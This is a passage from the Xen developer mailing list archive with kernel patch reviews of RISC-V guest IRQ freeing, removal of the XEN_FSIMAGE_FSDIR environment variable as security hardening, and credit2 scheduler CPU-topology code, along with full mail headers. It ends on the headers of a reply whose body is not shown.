+++ b/xen/arch/riscv/irq.c
@@ -19,9 +19,18 @@
  #include <asm/hardirq.h>
  #include <asm/intc.h>

-/* Describe an IRQ assigned to a guest */
+/*
+ * Describe an IRQ assigned to a guest.
+ *
+ * The irqaction is embedded here (rather than allocated separately with
+ * its dev_id pointing at a standalone struct irq_guest) so that freeing
+ * the action in release_irq() also frees this whole structure in one go.
+ * That avoids the alternative of release_irq()'s caller having to free
+ * dev_id itself (something like in Arm release_guest_irq()).
+ */
  struct irq_guest
  {
+    struct irqaction action;
      struct domain *d;
      unsigned int virq;
  };
@@ -345,7 +354,6 @@ int release_guest_irq(struct domain *d, unsigned int 
virq)
      spin_unlock_irqrestore(&desc->lock, flags);

      release_irq(desc->irq, info);
-    xvfree(info);

      return 0;

@@ -369,20 +377,23 @@ int route_irq_to_guest(struct domain *d, unsigned 
int virq,

      desc = irq_to_desc(irq);

-    action = xvmalloc(struct irqaction);
-    if ( !action )
-        return -ENOMEM;
+    /*
+     * release_irq() frees this action via xvfree(), relying on action
+     * being the first member of struct irq_guest so that &info->action
+     * coincides with info itself. Guard the layout so a future field
+     * reorder can't silently turn that into a free() of a mid-allocation
+     * pointer.
+     */
+    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);

      info = xvmalloc(struct irq_guest);
      if ( !info )
-    {
-        xvfree(action);
          return -ENOMEM;
-    }

      info->d = d;
      info->virq = virq;

+    action = &info->action;
      action->dev_id = info;
      action->name = devname;
      action->free_on_release = true;
@@ -436,15 +447,13 @@ int route_irq_to_guest(struct domain *d, unsigned 
int virq,
      if ( retval )
      {
          release_irq(desc->irq, info);
-        goto free_info;
+        return retval;
      }

      return 0;

   out:
      spin_unlock_irqrestore(&desc->lock, flags);
-    xvfree(action);
- free_info:
      xvfree(info);

      return retval;

Also, with such approach release_guest_irq() could be dropped at all, at 
least for now.

Does this approach look good?

  Or assume "free_on_release" is only
> ever true, and add an assertion to this effect (indicating that code needs
> auditing if that assumption is broken).

I think I'm okay with using ASSERT() instead of the changes suggested above.

What I don't understand is why you think it would be better to put the 
ASSERT() in release_irq() instead of keeping the if():

```
...
     if ( action->free_on_release )
         xvfree(action);
}
```

As I understand it, the dangling pointer problem would only occur if 
someone started statically allocating guest interrupts, right? At least 
for now, all guest interrupts are heap-allocated by route_irq_to_guest().

So my understanding is that we want to ensure that nobody starts 
statically allocating guest interrupts in the future. If that's the 
case, wouldn't it make more sense to add the ASSERT() to 
release_guest_irq(), somewhere before xvfree(info); rather than to 
release_irq()?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 11:00:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 11:00:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353152.1609263 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfbcx-0008BT-2m; Fri, 03 Jul 2026 11:00:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353152.1609263; Fri, 03 Jul 2026 11:00:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfbcw-0008BM-W9; Fri, 03 Jul 2026 11:00:10 +0000
Received: by outflank-mailman (input) for mailman id 1353152;
 Fri, 03 Jul 2026 11:00:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfbcv-0008BE-Mh
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:00:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfbcu-000Np5-FA
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:00:08 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a479632-bab6-0a2a0a5309dd-0a2a45048592-24
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 13:00:08 +0200
Received: from [209.85.167.50] (helo=mail-lf1-f50.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a479638-a01d-0a2a45040019-d155a732b503-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 13:00:08 +0200
Received: by mail-lf1-f50.google.com with SMTP id
 2adb3069b0e04-5aec5675c46so466737e87.1
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 04:00:08 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5aed13c5c11sm393585e87.77.2026.07.03.04.00.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 03 Jul 2026 04:00:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783076407; x=1783681207; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=3Ohgw0X4VP/JMwTkY286QlvDpibdPKHXNfR1zkAuVBA=;
        b=pGvAw/G5XuLLNzW/xEa+ZrqPza7Mha4z3p2ERiMnY4ZmAGUecqQWJ+BGlvLw8l2xo8
         8wgaWLuIm3sZKFfV03snxgRMmguM1fDeflsb/6TmuA7oftSoHj1V5iToc1AYTEWA6A38
         s9AGAz8mrqZRm1YIC7N5V+qTIrW4f5BxnLK1BfmJ+xI0oGML7/Ro01u7DT/9kbpHNJtQ
         5LOURGoT0Fw3XmpHPqb7CyBivWHJy6gwwDmpZpz0Mnkmi0HzWov5qYf/Hh/S9IVoSbfv
         HyUgnNu6Hgw5WxSazRWlvdOYGbEyLi65Zv7bhtvhpxtDf2687ksaBqVuXUZn/juIaJ+j
         uxBw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783076407; x=1783681207;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=3Ohgw0X4VP/JMwTkY286QlvDpibdPKHXNfR1zkAuVBA=;
        b=NMoSG+SN4184Kn9eKSXtK/IB9VNz5gq9SsIQkNhI0KM5S+BvqPk703Q238egYh6I7n
         64RBifGd927DN7dU/qn2pGVc8u3Fxx4FN+WlVJn9i7ZFCwawMjyChANB+QXa0IvaAMsT
         FIprYw4bp2Q2e0ezdQYF1ZWkxvTySZKDS+BHej+f5IU/RbkWfrafUTMmqexOxHmTq+QK
         N42DJpRc/S555zGIceFsvZ/+uhVW/zEvOATSSav/2GYiVB2uhjQd1GpZk/xHvkJkaWif
         zRVmHxX3n2Z2NDiCkNKORkgQzOPTjlMUyQC+bbfxUH7B4mVqgfgJkVdYQ9dON9TmTN3g
         U3Dw==
X-Forwarded-Encrypted: i=1; AHgh+Rq5PcTya2QAc3wM08jhn754xaOYv/VKSSDEa6eqbt6tsr2G+ibIg80obLhvAkSoBygVu5MyBTvOzhY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwFq74eski22lO+DjnBMQFUiMh5pfGIV32Be43d6pkphIIXfdDu
	ofCHAmRp0fvdX46FrOT3x+wHiK3uHrt+qZ4KCFkvUpkgKdjf2pQ9Hrhg
X-Gm-Gg: AfdE7clQQZqXJpDgjRrAM8Ge/d2xg+vvxzR3UO6CN1OyAy9xv2RG7lE8ujErG0/zv4K
	Gky75bhrap+Pm7e2P4xAAzO1NKgsC+ZSy2/P0ynCYGU4nZneIpgnZMdCPKPpLkVzGh4ijoOzQIy
	H8MN5AJb21SlPldgQu0nxtwwh4+Xuxd3Hl6NfgqhCceIhLbaqKuT6b+jTpyOZXBjRxbMneu9k5q
	r6AcZGErqPVdFw4fHqWuI+47UaFWPXWmLUoOIwwoh4HQDCQnPIONN2QrcBo/DsShmLPYCvC42qC
	+Xf/Wa6i4BmLanYVKbWcD0S3A9Ev/MLLmGol1yJM+FBHnBXtu7aiSgcZfVdd/tViYmKYL41YVYy
	t+4tOv4zFwKoDLIzKl/Ej1bdoHDaQiID4qNMYc8/sTU+8dHfiP4RNnFOnHp5V1Dbnsnq//EqzFb
	scOIQkV9Ink4cpPT82EwQhSS7/fhgfyFJ7yozj2RDE7iEr0pX1vmRgCswr2SKX/oE3+o76RZVMw
	f6duA==
X-Received: by 2002:a05:6512:611:20b0:5ad:518a:61dd with SMTP id 2adb3069b0e04-5aec68b8313mr1589861e87.46.1783076407393;
        Fri, 03 Jul 2026 04:00:07 -0700 (PDT)
Message-ID: <0c12eeed-5e3c-4289-9b19-156530c3b822@gmail.com>
Date: Fri, 3 Jul 2026 13:00:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] tools/libfsimage: Remove the XEN_FSIMAGE_FSDIR
 environment variable
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>
References: <20260702150301.825883-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260702150301.825883-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783076408-AFD241CC-8B680338/10/73395122804
X-purgate-type: spam
X-purgate-size: 2631



On 7/2/26 5:03 PM, Andrew Cooper wrote:
> This was reported to the security team, demonstrating that code execution
> could be achieved, but without a demonstration of a priviliege boundary being
> bypassed.
> 
> Still, it's a high risk path with no obvious evidence of having been used even
> for debugging, so remove the environment variable and use the build time
> $(libdir)/xenfsimage path only.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Julien Grall <julien@xen.org>
> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> For 4.22.  This was supposed to be posted earlier but fell through the cracks.
> Given it's borderline-security aspect, we don't want to delay it any further.
> ---

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

>   CHANGELOG.md                             | 1 +
>   tools/libfsimage/common/fsimage_plugin.c | 5 +----
>   2 files changed, 2 insertions(+), 4 deletions(-)
> 
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index ef4e6ae9c459..0a4e5f013cb1 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -63,6 +63,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>   
>    - Removed xenpm tool on non-x86 platforms as it doesn't actually provide
>      anything useful outside of x86.
> + - Removed the XEN_FSIMAGE_FSDIR environment variable.
>   
>   ## [4.21.0](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=RELEASE-4.21.0) - 2025-11-19
>   

Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>


> diff --git a/tools/libfsimage/common/fsimage_plugin.c b/tools/libfsimage/common/fsimage_plugin.c
> index d0cb9e96a654..539dc247356a 100644
> --- a/tools/libfsimage/common/fsimage_plugin.c
> +++ b/tools/libfsimage/common/fsimage_plugin.c
> @@ -121,7 +121,7 @@ static int init_plugin(const char *lib)
>   
>   int fsi_init(void)
>   {
> -	const char *fsdir = getenv("XEN_FSIMAGE_FSDIR");
> +	const char *fsdir = FSIMAGE_FSDIR;
>   	struct dirent *dp = NULL;
>   	DIR *dir = NULL;
>   	char *tmp = NULL;
> @@ -129,9 +129,6 @@ int fsi_init(void)
>   	int err;
>   	int ret = -1;
>   
> -	if (fsdir == NULL)
> -		fsdir = FSIMAGE_FSDIR;
> -
>   	if ((name_max = pathconf(fsdir, _PC_NAME_MAX)) == -1)
>   		goto fail;
>   
> 
> base-commit: ad9f564a5d840389cbf1b230086e1dd8257d8820


~ Oleksii



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 11:44:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 11:44:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353248.1609272 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfcJh-0006iy-72; Fri, 03 Jul 2026 11:44:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353248.1609272; Fri, 03 Jul 2026 11:44:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfcJh-0006ir-4L; Fri, 03 Jul 2026 11:44:21 +0000
Received: by outflank-mailman (input) for mailman id 1353248;
 Fri, 03 Jul 2026 11:44:20 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfcJg-0006il-CA
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:44:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfcJe-00BDe4-MN
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:44:18 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a47a08f-bab6-0a2a0a5309dd-0a2a4504eda6-6
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 13:44:18 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a47a092-a01d-0a2a45040019-d155802fb5ee-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 13:44:18 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-490cf3000f0so4045375e9.1
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 04:44:18 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63b6f1bsm115209625e9.10.2026.07.03.04.44.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 03 Jul 2026 04:44:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783079058; x=1783683858; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=hbH1aNFyyNe3stX/uhltfqjToNpdgn2HT2T4a4oOTIY=;
        b=juyr9FQ0pJEAMSP8eusdoGTMQ2760ch9u2GDVwnGVwLbprlcYntob/haEaFTzBtfoJ
         a2wT4BZHWWpXj7JjHhYn/diuC43c6aQ1t9MvjioEmZDg0ki/2N1ttMZMWobchPN5Pk/A
         +sU7ytjg+aZQdb/UyrHoMMBw5qtRL4RTAw+ulK2q7JdUac26mCYaUP+c4yjd6VZ7th+9
         cfPMNwlg4FM37daThBck+8qvR7J+oaI7SRNv1XVy2JwfA2Pusx+1VP8qt7ll0a+DiIaQ
         I86sZz4+gyPk2PK0HiKyuwKB2q9mic/4z8NsNTcSPV1+VJ1VWKgk7aFBoFegmHCKo2xf
         bCtw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783079058; x=1783683858;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=hbH1aNFyyNe3stX/uhltfqjToNpdgn2HT2T4a4oOTIY=;
        b=iCnOCZ5a7gTetAewiqE6LA/9fkMgAZLNUmmHBAaro5UOb7bzDD+4BtVS+xgJrSGJ8w
         m6HLfgVPBZKa6r7aagBZRzvM1jDJmXMqDBHoi9BkJm29ENcNeZDOykVzwnhKVA4G51Yz
         y3fbITbeEXySgmSNYF+iggkwCcSLexf9Wd+ftU1LnmdkSOHbq7vOwfCoObQQfPJQT8JS
         FtkuIoGnzZN1PeD8QomI1X24I0PgZgV5hdD8mlWzSHZiqWwnfaeQbokV+G2YH2y2z7Cj
         Al04Dm6T1/G+qbQgpwOaSQZpeQT/S1WVBrSpDzaOr8oQfAhDi/mjn/NLP1bNC8n9qSHw
         MZvA==
X-Forwarded-Encrypted: i=1; AFNElJ860CSiy65YP8K9WU7vk3Ts1jEWDnZTqsHe3eAF/6KFISXcnGnEoDayr5oQfI/6onWPmcW17KBD8fo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywwc3+S8osuYr1kl7t7kUOKu9B21uYy292iuLo3rI8pB18sZ0Xw
	2hR3xQpAHeUbR/9pfWcBryfeou8t300hDrlVPTrGR94UyT/jEhPsX4Ov
X-Gm-Gg: AfdE7cn8ouj0wxBbin+Tut43eucJWidiq/Pdsh0I/aA7Z1o9RBk4rn5JssZ0hXgJu30
	8L+mjb4UXqWqq75Lw+X8vTn7R5g8iGn1hOpSfusCQ5FV4SkMnn6dLZtnI+fgfNYOeYiVv0/D15r
	Gdl8kw5w1XO4bf1NN7Un2eiF6IE/NdCu/n6N6W2n1ylPbwDTQhAwZKq2ACXJMFNe2lIHW6q3pkA
	y3ekSzS/DYi7l/0lH1mDt57yixPBI61qVw5O3x0JA6j3M9qHQZagnq0rQXHxNYlXTwdhJJjK5jT
	YeYQAbxT7U50VqW3O+WqQbBGkf9y7Md8mR1v7lwuTqOM04z1PoP5g8uUMlRUWCHI/Jb8WXIZwwG
	GrpJDdWoIRvChuEX5xIV3eEpxXkQ/mVQTZSgIgTDmyw1vJdZVnJxfCRohUqmkF8/SybwhgsO3aR
	ngbKFLhF+FjQC5jwhYinNI5yFFLtHCj1j249RuLiqb5kRjvgUGzzbRe4uih7r+HMLYzmI=
X-Received: by 2002:a05:600d:3:b0:492:523f:a3df with SMTP id 5b1f17b1804b1-493c2b161b3mr121210095e9.5.1783079058002;
        Fri, 03 Jul 2026 04:44:18 -0700 (PDT)
Message-ID: <30e859e2-ee54-4d02-ac2c-08f8f80547bf@gmail.com>
Date: Fri, 3 Jul 2026 13:44:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 2/3] xen/sched: Link CPU topology to scheduler
To: Hirokazu Takahashi <taka@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>, Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>, Dario Faggioli <dfaggioli@suse.com>,
 Juergen Gross <jgross@suse.com>, George Dunlap <gwd@xenproject.org>
References: <20260703091544.183548-1-taka@valinux.co.jp>
 <20260703091544.183548-3-taka@valinux.co.jp>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260703091544.183548-3-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1783079058-AC93A1CC-E881F4A2/10/73395122804
X-purgate-type: spam
X-purgate-size: 776



On 7/3/26 11:15 AM, Hirokazu Takahashi wrote:

>   
>   /*
> diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
> index 95946634d1..ada430f262 100644
> --- a/xen/common/sched/credit2.c
> +++ b/xen/common/sched/credit2.c
> @@ -9,6 +9,7 @@
>    * Based on an earlier verson by Emmanuel Ackaouy.
>    */
>   
> +#include <xen/cpu-topology.h>
>   #include <xen/errno.h>
>   #include <xen/init.h>
>   #include <xen/lib.h>
> @@ -37,6 +38,8 @@ static unsigned int cpu_nr_siblings(unsigned int cpu)
>   {
>   #ifdef CONFIG_X86
>       return cpu_data[cpu].x86_num_siblings;
> +#elif defined(CONFIG_CPU_TOPOLOGY)
> +    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;

Shouldn't here be CONFIG_GENERIC_CPU_TOPOLOGY?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 13:05:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 13:05:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353320.1609289 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfda7-0002Hu-0b; Fri, 03 Jul 2026 13:05:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353320.1609289; Fri, 03 Jul 2026 13:05:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfda6-0002Hn-U9; Fri, 03 Jul 2026 13:05:22 +0000
Received: by outflank-mailman (input) for mailman id 1353320;
 Fri, 03 Jul 2026 13:05:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281556cf00080a8@swg.vates.tech>)
 id 1wfda4-0002Hf-OC
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 13:05:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfda3-000KTy-SG
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:05:19 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281556cf00080a8@swg.vates.tech>)
 id 6a47b38e-2eae-0a2a0a5409dd-0a2a4503ce4e-4
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:05:19 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f281556cf00080a8@swg.vates.tech>)
 id 6a47b38e-ec1a-0a2a45030019-b9ff1c22816d-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 15:05:19 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f281556cf00080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 03 Jul 2026 13:05:14 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 28BA781C0A;
 Fri,  3 Jul 2026 15:05:14 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=XKcNaM/91Jjk6ZkU0ufuyTcVGSv3GFLvBuIsiSJ873k=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Jb1AIBzqGw9LTas0JQj685LG4YzpIivXZ1uVy1vxOoEcU0QmXZvzdYzZ9qyPaeiCk5MSBF6wj
 /wQCljNUwKR6S6STt5nUuJVrpY4htUlYr3Bg/P1GjcN/AXd0Pd7PZHWkTUJiwgU2ur63RsouxsS
 OLPoLJCO1BUxQuYtsnX/oCXo8ISdy8InYZyXr+rLUfVw36q6IQj95jqutWYTq3teilOFeZuaBKr
 oqmWtciLus6VeO5RUTjFNWLQ1+wjTgEdJFzotlYqUm+peZk70Y699EK+Ysl6CLoVHVwNT0WcIOU
 w8VucvBQITZdoKM+ukaNeVS8K7JX0AIMLWP0qI4gBkkQ==
X-Zone-Loop: e43875fd35f7250afce1517219b42109ddd4216cf2e9
x-campaign-type: default
x-transaction-id: ee1b7a28-95f5-4953-84d4-8c86cbb2812e
x-swg-uid: 01-fa80b72d-2938-47d8-9a39-a70a45392133
X-Mailer: Sweego
Message-ID:
 <1783083915.8631fc262581453bbf619ec5b2062170.19f281556cf00080a8@vates.tech>
x-swg-bid: 1783083915.8631fc262581453bbf619ec5b2062170.19f281556cf00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Fri, 3 Jul 2026 15:05:13 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@cloud.com>,
	Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>
Subject: Re: [PATCH] tools: Use posix_memalign instead of valloc for NetBSD
References: <20260430095521.8399-1-frediano.ziglio@cloud.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260430095521.8399-1-frediano.ziglio@cloud.com>
